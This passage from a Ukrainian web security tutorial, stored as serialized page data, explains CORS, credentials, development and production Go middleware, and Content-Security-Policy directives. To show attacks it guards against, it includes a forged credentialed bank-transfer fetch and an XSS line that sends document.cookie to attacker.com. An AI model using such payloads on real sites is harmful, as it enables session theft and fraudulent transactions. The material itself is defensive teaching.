#DBEAFE\n",[4214,7230,7232],{"class":4216,"line":7231},24,[4214,7233,7234],{},"  Браузер кешує результат preflight на 1 день.\n",[4214,7236,7238],{"class":4216,"line":7237},25,[4214,7239,7240],{},"  Усі перевірки пройдені ✅\n",[4214,7242,7244],{"class":4216,"line":7243},26,[4214,7245,7206],{},[4214,7247,7249],{"class":4216,"line":7248},27,[4214,7250,5429],{"emptyLinePlaceholder":5428},[4214,7252,7254],{"class":4216,"line":7253},28,[4214,7255,7256],{},"== Основний запит (POST) ==\n",[4214,7258,7260],{"class":4216,"line":7259},29,[4214,7261,5429],{"emptyLinePlaceholder":5428},[4214,7263,7265],{"class":4216,"line":7264},30,[4214,7266,7267],{},"Browser -> API : **POST** \u002Fapi\u002Fv1\u002Fusers\\n**Origin:** https:\u002F\u002Fapp.example.com\\n**Content-Type:** application\u002Fjson\\n**Authorization:** Bearer token...\\n\\n{\"email\": \"user@example.com\"}\n",[4214,7269,7271],{"class":4216,"line":7270},31,[4214,7272,5429],{"emptyLinePlaceholder":5428},[4214,7274,7276],{"class":4216,"line":7275},32,[4214,7277,7278],{},"note over API #DCFCE7\n",[4214,7280,7282],{"class":4216,"line":7281},33,[4214,7283,7284],{},"  Сервер обробляє запит,\n",[4214,7286,7288],{"class":4216,"line":7287},34,[4214,7289,7290],{},"  створює користувача у БД\n",[4214,7292,7294],{"class":4216,"line":7293},35,[4214,7295,7206],{},[4214,7297,7299],{"class":4216,"line":7298},36,[4214,7300,5429],{"emptyLinePlaceholder":5428},[4214,7302,7304],{"class":4216,"line":7303},37,[4214,7305,7306],{},"API --> Browser : **201 Created**\\n**Access-Control-Allow-Origin:** https:\u002F\u002Fapp.example.com\\n**Location:** \u002Fapi\u002Fv1\u002Fusers\u002F125\\n\\n{\"id\": 125, \"email\": \"user@example.com\"}\n",[4214,7308,7310],{"class":4216,"line":7309},38,[4214,7311,5429],{"emptyLinePlaceholder":5428},[4214,7313,7315],{"class":4216,"line":7314},39,[4214,7316,7228],{},[4214,7318,7320],{"class":4216,"line":7319},40,[4214,7321,7322],{},"  JavaScript отримує доступ до відповіді\n",[4214,7324,7326],{"class":4216,"line":7325},41,[4214,7327,7206],{},[4214,7329,7331],{"class":4216,"line":7330},42,[4214,7332,5429],{"emptyLinePlaceholder":5428},[4214,7334,7336],{"class":4216,"line":7335},43,[4214,7337,7338],{},"@enduml\n",[7340,7341,7342,7389,7517],"accordion",{},[7343,7344,7347,7354,7372],"accordion-item",{"icon":7345,"label":7346},"i-lucide-help-circle","❓ Чому браузер блокує CORS на стороні клієнта, а не сервера?",[3844,7348,7349,7350,7353],{},"Блокування на стороні браузера є фундаментальною частиною архітектури CORS та пов'язане з моделлю довіри у веб-безпеці. Сервер ",[3782,7351,7352],{},"не може знати",", чи є запит легітимним чи зловмисним, оскільки він не має контексту про джерело виконання коду. Запит може бути надісланий як легітимним фронтенд-застосунком, так і зловмисним скриптом на фішинговому сайті.",[3844,7355,7356,7357,7360,7361,7364,7365,7367,7368,7371],{},"Браузер виступає ",[3782,7358,7359],{},"посередником довіри"," між користувачем та сервером. Він знає контекст: з якої сторінки був ініційований запит, чи є у користувача автентифікаційні cookies, чи намагається зловмисний сайт викрасти дані. Тому саме браузер приймає фінальне рішення на основі CORS-заголовків, які надсилає сервер. Сервер ",[3782,7362,7363],{},"декларує свої наміри"," через ",[3793,7366,4473],{},", а браузер ",[3782,7369,7370],{},"впроваджує безпеку",", блокуючи доступ JavaScript до відповіді, якщо заголовки не відповідають джерелу запиту.",[3844,7373,7374,7375,7378,7379,7382,7383,5322,7385,7388],{},"Важливо розуміти, що ",[3782,7376,7377],{},"запит все одно досягає сервера"," та може бути оброблений. Блокування відбувається після отримання відповіді. Це означає, що для операцій зміни стану (POST, PUT, DELETE) сервер ",[3782,7380,7381],{},"повинен додатково захищатися"," через CSRF-токени або перевірку ",[3793,7384,5181],{},[3793,7386,7387],{},"Referer"," заголовків, оскільки сам факт надходження запиту вже може призвести до небажаних змін.",[7343,7390,7392,7413,7497,7503],{"icon":7345,"label":7391},"❓ Чому не можна використовувати Access-Control-Allow-Origin: * з credentials?",[3844,7393,7394,7395,7084,7397,7399,7400,7403,7404,4148,7407,7409,7410,7412],{},"Дозвіл на передачу облікових даних (cookies, Authorization) у поєднанні з wildcard ",[3793,7396,5612],{},[3793,7398,4473],{}," створив би ",[3782,7401,7402],{},"критичну вразливість безпеки",". Уявімо ситуацію: API банку налаштований з ",[3793,7405,7406],{},"Access-Control-Allow-Origin: *",[3793,7408,6714],{},". Зловмисний сайт ",[3793,7411,3855],{}," може виконати наступний код:",[4205,7414,7416],{"className":4819,"code":7415,"language":4821,"meta":4210,"style":4210},"fetch('https:\u002F\u002Fbank-api.com\u002Ftransfer', {\n  method: 'POST',\n  credentials: 'include', \u002F\u002F Автоматично додасть cookies користувача\n  headers: { 'Content-Type': 'application\u002Fjson' },\n  body: JSON.stringify({ to: 'attacker-account', amount: 10000 })\n});\n",[3793,7417,7418,7429,7437,7448,7465,7493],{"__ignoreMap":4210},[4214,7419,7420,7422,7424,7427],{"class":4216,"line":4217},[4214,7421,4309],{"class":4308},[4214,7423,4313],{"class":4262},[4214,7425,7426],{"class":4316},"'https:\u002F\u002Fbank-api.com\u002Ftransfer'",[4214,7428,5862],{"class":4262},[4214,7430,7431,7433,7435],{"class":4216,"line":4235},[4214,7432,5867],{"class":4334},[4214,7434,5870],{"class":4316},[4214,7436,5873],{"class":4262},[4214,7438,7439,7441,7443,7445],{"class":4216,"line":4245},[4214,7440,6584],{"class":4334},[4214,7442,6587],{"class":4316},[4214,7444,3950],{"class":4262},[4214,7446,7447],{"class":4301},"\u002F\u002F Автоматично додасть cookies користувача\n",[4214,7449,7450,7452,7455,7458,7460,7462],{"class":4216,"line":4278},[4214,7451,5878],{"class":4334},[4214,7453,7454],{"class":4262}," { ",[4214,7456,7457],{"class":4316},"'Content-Type'",[4214,7459,3917],{"class":4334},[4214,7461,5890],{"class":4316},[4214,7463,7464],{"class":4262}," },\n",[4214,7466,7467,7469,7471,7473,7475,7477,7480,7483,7485,7488,7491],{"class":4216,"line":4288},[4214,7468,5912],{"class":4334},[4214,7470,5915],{"class":4597},[4214,7472,3796],{"class":4262},[4214,7474,5920],{"class":4308},[4214,7476,5923],{"class":4262},[4214,7478,7479],{"class":4334},"to:",[4214,7481,7482],{"class":4316}," 'attacker-account'",[4214,7484,3950],{"class":4262},[4214,7486,7487],{"class":4334},"amount:",[4214,7489,7490],{"class":5325}," 10000",[4214,7492,5940],{"class":4262},[4214,7494,7495],{"class":4216,"line":4298},[4214,7496,5945],{"class":4262},[3844,7498,7499,7500,3796],{},"Якби браузер дозволив це, зловмисник міг би виконувати автентифіковані операції від імені користувача без його відома, використовуючи cookies жертви. Це класична ",[3782,7501,7502],{},"CSRF-атака (Cross-Site Request Forgery)",[3844,7504,7505,7506,7509,7510,7513,7514,7516],{},"Вимога ",[3782,7507,7508],{},"явного вказування джерела"," замість wildcard змушує розробників API ",[3782,7511,7512],{},"свідомо обирати",", яким доменам довіряти. Це створює явний білий список довірених джерел. Наприклад, API може дозволити доступ лише своєму власному фронтенду (",[3793,7515,3889],{},") або партнерським сайтам, які пройшли аудит безпеки.",[7343,7518,7520,7537,7542,7873,7883,7888,8259,8264],{"icon":7345,"label":7519},"❓ Як правильно налаштувати CORS для development та production?",[3844,7521,7522,7523,7526,7527,7530,7531,7534,7535,3917],{},"У ",[3782,7524,7525],{},"development-середовищі"," розробники часто працюють з локальними серверами на різних портах (наприклад, фронтенд на ",[3793,7528,7529],{},"http:\u002F\u002Flocalhost:3000",", backend на ",[3793,7532,7533],{},"http:\u002F\u002Flocalhost:8080","). Це різні origins через відмінність у портах. Для зручності розробки можна налаштувати CORS дозволяючи ",[3793,7536,3956],{},[3844,7538,7539],{},[3782,7540,7541],{},"Development CORS (Go приклад, концептуальний):",[4205,7543,7547],{"className":7544,"code":7545,"language":7546,"meta":4210,"style":4210},"language-go shiki shiki-themes light-plus dark-plus dark-plus","\u002F\u002F Middleware для локальної розробки\nfunc CORSMiddleware(allowedOrigins []string) gin.HandlerFunc {\n    return func(c *gin.Context) {\n        origin := c.Request.Header.Get(\"Origin\")\n        \n        \u002F\u002F У development дозволяємо localhost\n        if strings.HasPrefix(origin, \"http:\u002F\u002Flocalhost:\") {\n            c.Writer.Header().Set(\"Access-Control-Allow-Origin\", origin)\n            c.Writer.Header().Set(\"Access-Control-Allow-Credentials\", \"true\")\n            c.Writer.Header().Set(\"Access-Control-Allow-Methods\", \"GET, POST, PUT, DELETE, OPTIONS\")\n            c.Writer.Header().Set(\"Access-Control-Allow-Headers\", \"Content-Type, Authorization\")\n        }\n        \n        if c.Request.Method == \"OPTIONS\" {\n            c.AbortWithStatus(204)\n            return\n        }\n        c.Next()\n    }\n}\n","go",[3793,7548,7549,7554,7587,7611,7643,7648,7653,7678,7709,7737,7765,7793,7798,7802,7826,7842,7847,7851,7864,7869],{"__ignoreMap":4210},[4214,7550,7551],{"class":4216,"line":4217},[4214,7552,7553],{"class":4301},"\u002F\u002F Middleware для локальної розробки\n",[4214,7555,7556,7559,7562,7564,7567,7570,7574,7577,7580,7582,7585],{"class":4216,"line":4235},[4214,7557,7558],{"class":4338},"func",[4214,7560,7561],{"class":4308}," CORSMiddleware",[4214,7563,4313],{"class":4262},[4214,7565,7566],{"class":4334},"allowedOrigins",[4214,7568,7569],{"class":4262}," []",[4214,7571,7573],{"class":7572},"sN1BT","string",[4214,7575,7576],{"class":4262},") ",[4214,7578,7579],{"class":7572},"gin",[4214,7581,3796],{"class":4262},[4214,7583,7584],{"class":7572},"HandlerFunc",[4214,7586,4626],{"class":4262},[4214,7588,7589,7591,7594,7596,7599,7602,7604,7606,7609],{"class":4216,"line":4245},[4214,7590,6457],{"class":4622},[4214,7592,7593],{"class":4338}," func",[4214,7595,4313],{"class":4262},[4214,7597,7598],{"class":4334},"c",[4214,7600,7601],{"class":4262}," *",[4214,7603,7579],{"class":7572},[4214,7605,3796],{"class":4262},[4214,7607,7608],{"class":7572},"Context",[4214,7610,4688],{"class":4262},[4214,7612,7613,7616,7619,7621,7623,7626,7628,7631,7633,7636,7638,7641],{"class":4216,"line":4278},[4214,7614,7615],{"class":4334},"        origin",[4214,7617,7618],{"class":4262}," := ",[4214,7620,7598],{"class":4334},[4214,7622,3796],{"class":4262},[4214,7624,7625],{"class":4334},"Request",[4214,7627,3796],{"class":4262},[4214,7629,7630],{"class":4334},"Header",[4214,7632,3796],{"class":4262},[4214,7634,7635],{"class":4308},"Get",[4214,7637,4313],{"class":4262},[4214,7639,7640],{"class":4316},"\"Origin\"",[4214,7642,4320],{"class":4262},[4214,7644,7645],{"class":4216,"line":4288},[4214,7646,7647],{"class":4262},"        \n",[4214,7649,7650],{"class":4216,"line":4298},[4214,7651,7652],{"class":4301},"        \u002F\u002F У development дозволяємо localhost\n",[4214,7654,7655,7658,7661,7663,7666,7668,7671,7673,7676],{"class":4216,"line":4305},[4214,7656,7657],{"class":4622},"        if",[4214,7659,7660],{"class":4334}," strings",[4214,7662,3796],{"class":4262},[4214,7664,7665],{"class":4308},"HasPrefix",[4214,7667,4313],{"class":4262},[4214,7669,7670],{"class":4334},"origin",[4214,7672,3950],{"class":4262},[4214,7674,7675],{"class":4316},"\"http:\u002F\u002Flocalhost:\"",[4214,7677,4688],{"class":4262},[4214,7679,7680,7683,7685,7688,7690,7692,7695,7698,7700,7703,7705,7707],{"class":4216,"line":4323},[4214,7681,7682],{"class":4334},"            c",[4214,7684,3796],{"class":4262},[4214,7686,7687],{"class":4334},"Writer",[4214,7689,3796],{"class":4262},[4214,7691,7630],{"class":4308},[4214,7693,7694],{"class":4262},"().",[4214,7696,7697],{"class":4308},"Set",[4214,7699,4313],{"class":4262},[4214,7701,7702],{"class":4316},"\"Access-Control-Allow-Origin\"",[4214,7704,3950],{"class":4262},[4214,7706,7670],{"class":4334},[4214,7708,4320],{"class":4262},[4214,7710,7711,7713,7715,7717,7719,7721,7723,7725,7727,7730,7732,7735],{"class":4216,"line":4353},[4214,7712,7682],{"class":4334},[4214,7714,3796],{"class":4262},[4214,7716,7687],{"class":4334},[4214,7718,3796],{"class":4262},[4214,7720,7630],{"class":4308},[4214,7722,7694],{"class":4262},[4214,7724,7697],{"class":4308},[4214,7726,4313],{"class":4262},[4214,7728,7729],{"class":4316},"\"Access-Control-Allow-Credentials\"",[4214,7731,3950],{"class":4262},[4214,7733,7734],{"class":4316},"\"true\"",[4214,7736,4320],{"class":4262},[4214,7738,7739,7741,7743,7745,7747,7749,7751,7753,7755,7758,7760,7763],{"class":4216,"line":4382},[4214,7740,7682],{"class":4334},[4214,7742,3796],{"class":4262},[4214,7744,7687],{"class":4334},[4214,7746,3796],{"class":4262},[4214,7748,7630],{"class":4308},[4214,7750,7694],{"class":4262},[4214,7752,7697],{"class":4308},[4214,7754,4313],{"class":4262},[4214,7756,7757],{"class":4316},"\"Access-Control-Allow-Methods\"",[4214,7759,3950],{"class":4262},[4214,7761,7762],{"class":4316},"\"GET, POST, PUT, DELETE, OPTIONS\"",[4214,7764,4320],{"class":4262},[4214,7766,7767,7769,7771,7773,7775,7777,7779,7781,7783,7786,7788,7791],{"class":4216,"line":4415},[4214,7768,7682],{"class":4334},[4214,7770,3796],{"class":4262},[4214,7772,7687],{"class":4334},[4214,7774,3796],{"class":4262},[4214,7776,7630],{"class":4308},[4214,7778,7694],{"class":4262},[4214,7780,7697],{"class":4308},[4214,7782,4313],{"class":4262},[4214,7784,7785],{"class":4316},"\"Access-Control-Allow-Headers\"",[4214,7787,3950],{"class":4262},[4214,7789,7790],{"class":4316},"\"Content-Type, Authorization\"",[4214,7792,4320],{"class":4262},[4214,7794,7795],{"class":4216,"line":4424},[4214,7796,7797],{"class":4262},"        }\n",[4214,7799,7800],{"class":4216,"line":4433},[4214,7801,7647],{"class":4262},[4214,7803,7804,7806,7809,7811,7813,7815,7818,7821,7824],{"class":4216,"line":4720},[4214,7805,7657],{"class":4622},[4214,7807,7808],{"class":4334}," c",[4214,7810,3796],{"class":4262},[4214,7812,7625],{"class":4334},[4214,7814,3796],{"class":4262},[4214,7816,7817],{"class":4334},"Method",[4214,7819,7820],{"class":4262}," == ",[4214,7822,7823],{"class":4316},"\"OPTIONS\"",[4214,7825,4626],{"class":4262},[4214,7827,7828,7830,7832,7835,7837,7840],{"class":4216,"line":4726},[4214,7829,7682],{"class":4334},[4214,7831,3796],{"class":4262},[4214,7833,7834],{"class":4308},"AbortWithStatus",[4214,7836,4313],{"class":4262},[4214,7838,7839],{"class":5325},"204",[4214,7841,4320],{"class":4262},[4214,7843,7844],{"class":4216,"line":4732},[4214,7845,7846],{"class":4622},"            return\n",[4214,7848,7849],{"class":4216,"line":4741},[4214,7850,7797],{"class":4262},[4214,7852,7853,7856,7858,7861],{"class":4216,"line":4750},[4214,7854,7855],{"class":4334},"        c",[4214,7857,3796],{"class":4262},[4214,7859,7860],{"class":4308},"Next",[4214,7862,7863],{"class":4262},"()\n",[4214,7865,7866],{"class":4216,"line":7203},[4214,7867,7868],{"class":4262},"    }\n",[4214,7870,7871],{"class":4216,"line":7209},[4214,7872,4729],{"class":4262},[3844,7874,7522,7875,7878,7879,7882],{},[3782,7876,7877],{},"production-середовищі"," необхідно ",[3782,7880,7881],{},"строго обмежити"," дозволені origins білим списком:",[3844,7884,7885],{},[3782,7886,7887],{},"Production CORS (концептуальний):",[4205,7889,7891],{"className":7544,"code":7890,"language":7546,"meta":4210,"style":4210},"var allowedOrigins = []string{\n    \"https:\u002F\u002Fapp.example.com\",\n    \"https:\u002F\u002Fapp.staging.example.com\",\n}\n\nfunc CORSMiddleware(c *gin.Context) {\n    origin := c.Request.Header.Get(\"Origin\")\n    \n    \u002F\u002F Перевірка, чи origin у білому списку\n    for _, allowed := range allowedOrigins {\n        if origin == allowed {\n            c.Writer.Header().Set(\"Access-Control-Allow-Origin\", origin)\n            c.Writer.Header().Set(\"Access-Control-Allow-Credentials\", \"true\")\n            c.Writer.Header().Set(\"Access-Control-Allow-Methods\", \"GET, POST, PUT, DELETE\")\n            c.Writer.Header().Set(\"Access-Control-Allow-Headers\", \"Content-Type, Authorization\")\n            c.Writer.Header().Set(\"Access-Control-Max-Age\", \"86400\")\n            c.Writer.Header().Set(\"Vary\", \"Origin\")\n            break\n        }\n    }\n    \n    if c.Request.Method == \"OPTIONS\" {\n        c.AbortWithStatus(204)\n        return\n    }\n    c.Next()\n}\n",[3793,7892,7893,7909,7916,7923,7927,7931,7951,7978,7983,7988,8010,8023,8049,8075,8102,8128,8156,8183,8188,8192,8196,8200,8221,8235,8240,8244,8255],{"__ignoreMap":4210},[4214,7894,7895,7898,7901,7904,7906],{"class":4216,"line":4217},[4214,7896,7897],{"class":4338},"var",[4214,7899,7900],{"class":4334}," allowedOrigins",[4214,7902,7903],{"class":4262}," = []",[4214,7905,7573],{"class":7572},[4214,7907,7908],{"class":4262},"{\n",[4214,7910,7911,7914],{"class":4216,"line":4235},[4214,7912,7913],{"class":4316},"    \"https:\u002F\u002Fapp.example.com\"",[4214,7915,5873],{"class":4262},[4214,7917,7918,7921],{"class":4216,"line":4245},[4214,7919,7920],{"class":4316},"    \"https:\u002F\u002Fapp.staging.example.com\"",[4214,7922,5873],{"class":4262},[4214,7924,7925],{"class":4216,"line":4278},[4214,7926,4729],{"class":4262},[4214,7928,7929],{"class":4216,"line":4288},[4214,7930,5429],{"emptyLinePlaceholder":5428},[4214,7932,7933,7935,7937,7939,7941,7943,7945,7947,7949],{"class":4216,"line":4298},[4214,7934,7558],{"class":4338},[4214,7936,7561],{"class":4308},[4214,7938,4313],{"class":4262},[4214,7940,7598],{"class":4334},[4214,7942,7601],{"class":4262},[4214,7944,7579],{"class":7572},[4214,7946,3796],{"class":4262},[4214,7948,7608],{"class":7572},[4214,7950,4688],{"class":4262},[4214,7952,7953,7956,7958,7960,7962,7964,7966,7968,7970,7972,7974,7976],{"class":4216,"line":4305},[4214,7954,7955],{"class":4334},"    origin",[4214,7957,7618],{"class":4262},[4214,7959,7598],{"class":4334},[4214,7961,3796],{"class":4262},[4214,7963,7625],{"class":4334},[4214,7965,3796],{"class":4262},[4214,7967,7630],{"class":4334},[4214,7969,3796],{"class":4262},[4214,7971,7635],{"class":4308},[4214,7973,4313],{"class":4262},[4214,7975,7640],{"class":4316},[4214,7977,4320],{"class":4262},[4214,7979,7980],{"class":4216,"line":4323},[4214,7981,7982],{"class":4262},"    \n",[4214,7984,7985],{"class":4216,"line":4353},[4214,7986,7987],{"class":4301},"    \u002F\u002F Перевірка, чи origin у білому списку\n",[4214,7989,7990,7993,7996,7998,8001,8003,8006,8008],{"class":4216,"line":4382},[4214,7991,7992],{"class":4622},"    for",[4214,7994,7995],{"class":4334}," _",[4214,7997,3950],{"class":4262},[4214,7999,8000],{"class":4334},"allowed",[4214,8002,7618],{"class":4262},[4214,8004,8005],{"class":4622},"range",[4214,8007,7900],{"class":4334},[4214,8009,4626],{"class":4262},[4214,8011,8012,8014,8017,8019,8021],{"class":4216,"line":4415},[4214,8013,7657],{"class":4622},[4214,8015,8016],{"class":4334}," origin",[4214,8018,7820],{"class":4262},[4214,8020,8000],{"class":4334},[4214,8022,4626],{"class":4262},[4214,8024,8025,8027,8029,8031,8033,8035,8037,8039,8041,8043,8045,8047],{"class":4216,"line":4424},[4214,8026,7682],{"class":4334},[4214,8028,3796],{"class":4262},[4214,8030,7687],{"class":4334},[4214,8032,3796],{"class":4262},[4214,8034,7630],{"class":4308},[4214,8036,7694],{"class":4262},[4214,8038,7697],{"class":4308},[4214,8040,4313],{"class":4262},[4214,8042,7702],{"class":4316},[4214,8044,3950],{"class":4262},[4214,8046,7670],{"class":4334},[4214,8048,4320],{"class":4262},[4214,8050,8051,8053,8055,8057,8059,8061,8063,8065,8067,8069,8071,8073],{"class":4216,"line":4433},[4214,8052,7682],{"class":4334},[4214,8054,3796],{"class":4262},[4214,8056,7687],{"class":4334},[4214,8058,3796],{"class":4262},[4214,8060,7630],{"class":4308},[4214,8062,7694],{"class":4262},[4214,8064,7697],{"class":4308},[4214,8066,4313],{"class":4262},[4214,8068,7729],{"class":4316},[4214,8070,3950],{"class":4262},[4214,8072,7734],{"class":4316},[4214,8074,4320],{"class":4262},[4214,8076,8077,8079,8081,8083,8085,8087,8089,8091,8093,8095,8097,8100],{"class":4216,"line":4720},[4214,8078,7682],{"class":4334},[4214,8080,3796],{"class":4262},[4214,8082,7687],{"class":4334},[4214,8084,3796],{"class":4262},[4214,8086,7630],{"class":4308},[4214,8088,7694],{"class":4262},[4214,8090,7697],{"class":4308},[4214,8092,4313],{"class":4262},[4214,8094,7757],{"class":4316},[4214,8096,3950],{"class":4262},[4214,8098,8099],{"class":4316},"\"GET, POST, PUT, DELETE\"",[4214,8101,4320],{"class":4262},[4214,8103,8104,8106,8108,8110,8112,8114,8116,8118,8120,8122,8124,8126],{"class":4216,"line":4726},[4214,8105,7682],{"class":4334},[4214,8107,3796],{"class":4262},[4214,8109,7687],{"class":4334},[4214,8111,3796],{"class":4262},[4214,8113,7630],{"class":4308},[4214,8115,7694],{"class":4262},[4214,8117,7697],{"class":4308},[4214,8119,4313],{"class":4262},[4214,8121,7785],{"class":4316},[4214,8123,3950],{"class":4262},[4214,8125,7790],{"class":4316},[4214,8127,4320],{"class":4262},[4214,8129,8130,8132,8134,8136,8138,8140,8142,8144,8146,8149,8151,8154],{"class":4216,"line":4732},[4214,8131,7682],{"class":4334},[4214,8133,3796],{"class":4262},[4214,8135,7687],{"class":4334},[4214,8137,3796],{"class":4262},[4214,8139,7630],{"class":4308},[4214,8141,7694],{"class":4262},[4214,8143,7697],{"class":4308},[4214,8145,4313],{"class":4262},[4214,8147,8148],{"class":4316},"\"Access-Control-Max-Age\"",[4214,8150,3950],{"class":4262},[4214,8152,8153],{"class":4316},"\"86400\"",[4214,8155,4320],{"class":4262},[4214,8157,8158,8160,8162,8164,8166,8168,8170,8172,8174,8177,8179,8181],{"class":4216,"line":4741},[4214,8159,7682],{"class":4334},[4214,8161,3796],{"class":4262},[4214,8163,7687],{"class":4334},[4214,8165,3796],{"class":4262},[4214,8167,7630],{"class":4308},[4214,8169,7694],{"class":4262},[4214,8171,7697],{"class":4308},[4214,8173,4313],{"class":4262},[4214,8175,8176],{"class":4316},"\"Vary\"",[4214,8178,3950],{"class":4262},[4214,8180,7640],{"class":4316},[4214,8182,4320],{"class":4262},[4214,8184,8185],{"class":4216,"line":4750},[4214,8186,8187],{"class":4622},"            break\n",[4214,8189,8190],{"class":4216,"line":7203},[4214,8191,7797],{"class":4262},[4214,8193,8194],{"class":4216,"line":7209},[4214,8195,7868],{"class":4262},[4214,8197,8198],{"class":4216,"line":7214},[4214,8199,7982],{"class":4262},[4214,8201,8202,8205,8207,8209,8211,8213,8215,8217,8219],{"class":4216,"line":7220},[4214,8203,8204],{"class":4622},"    if",[4214,8206,7808],{"class":4334},[4214,8208,3796],{"class":4262},[4214,8210,7625],{"class":4334},[4214,8212,3796],{"class":4262},[4214,8214,7817],{"class":4334},[4214,8216,7820],{"class":4262},[4214,8218,7823],{"class":4316},[4214,8220,4626],{"class":4262},[4214,8222,8223,8225,8227,8229,8231,8233],{"class":4216,"line":7225},[4214,8224,7855],{"class":4334},[4214,8226,3796],{"class":4262},[4214,8228,7834],{"class":4308},[4214,8230,4313],{"class":4262},[4214,8232,7839],{"class":5325},[4214,8234,4320],{"class":4262},[4214,8236,8237],{"class":4216,"line":7231},[4214,8238,8239],{"class":4622},"        return\n",[4214,8241,8242],{"class":4216,"line":7237},[4214,8243,7868],{"class":4262},[4214,8245,8246,8249,8251,8253],{"class":4216,"line":7243},[4214,8247,8248],{"class":4334},"    c",[4214,8250,3796],{"class":4262},[4214,8252,7860],{"class":4308},[4214,8254,7863],{"class":4262},[4214,8256,8257],{"class":4216,"line":7248},[4214,8258,4729],{"class":4262},[3844,8260,8261],{},[3782,8262,8263],{},"Ключові принципи:",[3919,8265,8266,8274,8284,8292,8300],{},[3749,8267,8268],{},[3782,8269,8270,8271,8273],{},"Ніколи не використовуйте ",[3793,8272,5612],{}," у production з credentials.",[3749,8275,8276,8281,8282,3796],{},[3782,8277,8278,8279],{},"Валідуйте ",[3793,8280,5181],{}," проти білого списку перед встановленням ",[3793,8283,4473],{},[3749,8285,8286,8291],{},[3782,8287,8288,8289],{},"Додавайте ",[3793,8290,6975],{}," для коректного кешування на CDN\u002Fпроксі.",[3749,8293,8294,8299],{},[3782,8295,8296,8297],{},"Обмежуйте ",[3793,8298,6093],{}," лише необхідними методами.",[3749,8301,8302,8307],{},[3782,8303,8304,8305],{},"Використовуйте ",[3793,8306,6113],{}," для зменшення кількості preflight-запитів.",[3831,8309],{},[3834,8311,8313],{"id":8312},"заголовки-безпеки-http","Заголовки безпеки HTTP",[3844,8315,8316,8317,8320,8321,8324],{},"Окрім CORS, сучасні веб-застосунки повинні використовувати ",[3782,8318,8319],{},"додаткові HTTP-заголовки безпеки"," для захисту від різноманітних векторів атак. Ці заголовки інструктують браузер застосовувати певні обмеження та політики безпеки, які значно підвищують захищеність застосунку навіть за наявності вразливостей у коді. Важливо розуміти, що заголовки безпеки є ",[3782,8322,8323],{},"додатковим рівнем захисту"," (defense in depth), а не заміною безпечного коду. Проте вони створюють потужний бар'єр, який ускладнює або робить неможливими багато типів атак.",[3839,8326,8328],{"id":8327},"content-security-policy-csp","Content-Security-Policy (CSP)",[3844,8330,8331,8334,8335,8338,8339,8342],{},[3782,8332,8333],{},"Content Security Policy (CSP)"," є одним з найпотужніших механізмів захисту від атак типу ",[3782,8336,8337],{},"Cross-Site Scripting (XSS)",". XSS-атаки виникають, коли зловмисник вбудовує шкідливий JavaScript-код у веб-сторінку, використовуючи вразливості в обробці користувацького вводу. Наприклад, якщо застосунок виводить коментар користувача без санітизації, зловмисник може вставити ",[3793,8340,8341],{},"\u003Cscript>fetch('https:\u002F\u002Fattacker.com\u002Fsteal?cookie='+document.cookie)\u003C\u002Fscript>",", і цей код виконається у браузері кожного, хто переглядає цей коментар.",[3844,8344,8345,8346,8349,8350,3950,8353,8356,8357,8360,8361,8364],{},"CSP дозволяє серверу ",[3782,8347,8348],{},"явно визначити",", з яких джерел (origins) сторінка може завантажувати ресурси: скрипти, стилі, зображення, шрифти, фрейми, WebSocket-з'єднання тощо. Браузер, отримавши CSP-політику через заголовок ",[3793,8351,8352],{},"Content-Security-Policy",[3782,8354,8355],{},"блокує"," будь-які спроби завантажити ресурси з джерел, що не входять до білого списку. Це означає, що навіть якщо зловмисник вб'є inline-скрипт ",[3793,8358,8359],{},"\u003Cscript>alert('XSS')\u003C\u002Fscript>"," у сторінку, браузер ",[3782,8362,8363],{},"відмовиться його виконувати",", якщо CSP-політика забороняє inline-скрипти.",[3988,8366,8368],{"id":8367},"базова-структура-csp","Базова структура CSP",[3844,8370,8371,8372,8375,8376,8379],{},"CSP складається з ",[3782,8373,8374],{},"директив",", кожна з яких контролює певний тип ресурсів. Директиви розділяються крапкою з комою (",[3793,8377,8378],{},";","), а джерела для кожної директиви — пробілами.",[3844,8381,8382],{},[3782,8383,8384],{},"Приклад базової CSP-політики:",[4205,8386,8388],{"className":4794,"code":8387,"language":4796,"meta":4210,"style":4210},"Content-Security-Policy: default-src 'self'; script-src 'self' https:\u002F\u002Fcdn.example.com; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self' https:\u002F\u002Ffonts.gstatic.com\n",[3793,8389,8390],{"__ignoreMap":4210},[4214,8391,8392,8394,8396],{"class":4216,"line":4217},[4214,8393,8352],{"class":4224},[4214,8395,3917],{"class":4338},[4214,8397,8398],{"class":4316}," default-src 'self'; script-src 'self' https:\u002F\u002Fcdn.example.com; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self' https:\u002F\u002Ffonts.gstatic.com\n",[3988,8400,8402],{"id":8401},"ключові-директиви-csp","Ключові директиви CSP",[3844,8404,8405],{},[3782,8406,8407],{},"1. default-src — базова політика за замовчуванням",[3844,8409,8410],{},"Визначає джерела за замовчуванням для всіх типів ресурсів, які не мають власної директиви.",[4205,8412,8414],{"className":4794,"code":8413,"language":4796,"meta":4210,"style":4210},"Content-Security-Policy: default-src 'self'\n",[3793,8415,8416],{"__ignoreMap":4210},[4214,8417,8418,8420,8422],{"class":4216,"line":4217},[4214,8419,8352],{"class":4224},[4214,8421,3917],{"class":4338},[4214,8423,8424],{"class":4316}," default-src 'self'\n",[3844,8426,8427,8430,8431,8434],{},[3782,8428,8429],{},"Пояснення:"," Дозволяє завантажувати ресурси лише з ",[3782,8432,8433],{},"того самого origin"," (same-origin). Блокує завантаження з інших доменів та inline-код.",[3844,8436,8437],{},[3782,8438,8439],{},"2. script-src — джерела JavaScript",[3844,8441,8442],{},"Контролює, звідки можна завантажувати та виконувати JavaScript.",[4205,8444,8446],{"className":4794,"code":8445,"language":4796,"meta":4210,"style":4210},"Content-Security-Policy: script-src 'self' https:\u002F\u002Fcdn.jsdelivr.net\n",[3793,8447,8448],{"__ignoreMap":4210},[4214,8449,8450,8452,8454],{"class":4216,"line":4217},[4214,8451,8352],{"class":4224},[4214,8453,3917],{"class":4338},[4214,8455,8456],{"class":4316}," script-src 'self' https:\u002F\u002Fcdn.jsdelivr.net\n",[3844,8458,8459],{},[3782,8460,8461],{},"Дозволяє:",[3746,8463,8464,8470],{},[3749,8465,8466,8467,5124],{},"Скрипти з того самого origin (",[3793,8468,8469],{},"'self'",[3749,8471,8472,8473,3796],{},"Скрипти з 